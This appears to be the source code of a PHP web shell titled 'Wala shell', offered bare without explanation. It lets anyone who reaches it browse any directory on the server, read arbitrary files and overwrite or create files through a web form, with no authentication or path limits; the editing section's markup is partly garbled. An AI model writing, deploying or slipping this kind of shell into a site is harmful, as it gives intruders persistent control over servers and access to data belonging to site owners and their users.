Wala shell

<?php

// Function to recursively list directories and files
function listDirectory($dir) {
    // Get the current directory contents
    $files = scandir($dir);

// Display current directory name
    echo "<h2>Directory: $dir</h2>";

// Display link to go back to the parent directory
    $parentDir = dirname($dir);
    if ($dir !== '/') {
        echo "<a class='btn' href='?dir=" . urlencode($parentDir) . "'>Go Back</a><br>";
    }

// Display option to create a new file
    echo "<form method='post'>
            <input type='text' name='new_file_name' placeholder='Enter new file name' required>
            <input class='btn' type='submit' name='create_file' value='Create File'>
        </form><br>";

// Display list of directories and files
    echo "<ul class='file-list'>";
    foreach ($files as $file) {
        if ($file !== '.' && $file !== '..') {
            $fullPath = "$dir/$file";
            if (is_dir($fullPath)) {
                echo "<li class='directory'>[DIR] <a href='?dir=" . urlencode($fullPath) . "'>$file</a></li>";
            } else {
                echo "<li class='file'>
                    [FILE] $file 
                    <a class='btn' href='?view=" . urlencode($fullPath) . "'>View</a> 
                    <a class='btn' href='?edit=" . urlencode($fullPath) . "'>Edit</a>
                </li>";
            }
        }
    }
    echo "</ul>";
}

// Function to create a new file
function createFile($dir, $fileName) {
    $filePath = "$dir/$fileName";
    if (!file_exists($filePath)) {
        file_put_contents($filePath, ""); // Create an empty file
        echo "<p class='success'>File '$fileName' created successfully!</p>";
    } else {
        echo "<p class='error'>File '$fileName' already exists.</p>";
    }
}

// Function to view file content
function viewFile($filePath) {
    if (file_exists($filePath) && is_file($filePath)) {
        $content = htmlspecialchars(file_get_contents($filePath));
        echo "<h2>Viewing File: $filePath</h2>";
        echo "<pre class='file-content'>$content</pre>";
        echo "<a class='btn' href='?dir=" . urlencode(dirname($filePath)) . "'>Back to Directory</a>";
    } else {
        echo "<p class='error'>File not found.</p>";
    }
}

// Function to edit file content
function editFile($filePath) {
    if (isset($_POST['content'])) {
        file_put_contents($filePath, $_POST['content']);
        echo "<p class='success'>File saved successfully!</p>";
    }

$content = htmlspecialchars(file_get_contents($filePath));
    echo "<h2>Editing File: $filePath</h2>";
    echo "<form method='post'>
            <textarea name='content' class='file-edit'>$content

"; echo "Back to Directory"; } // Determine what action to take if (isset($_GET['view'])) { $filePath = realpath($_GET['view']); viewFile($filePath); } elseif (isset($_GET['edit'])) { $filePath = realpath($_GET['edit']); editFile($filePath); } elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); createFile($currentDir, $_POST['new_file_name']); listDirectory($currentDir); } else { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); if ($currentDir === false || !is_dir($currentDir)) { die('Invalid directory.'); } listDirectory($currentDir); } ?>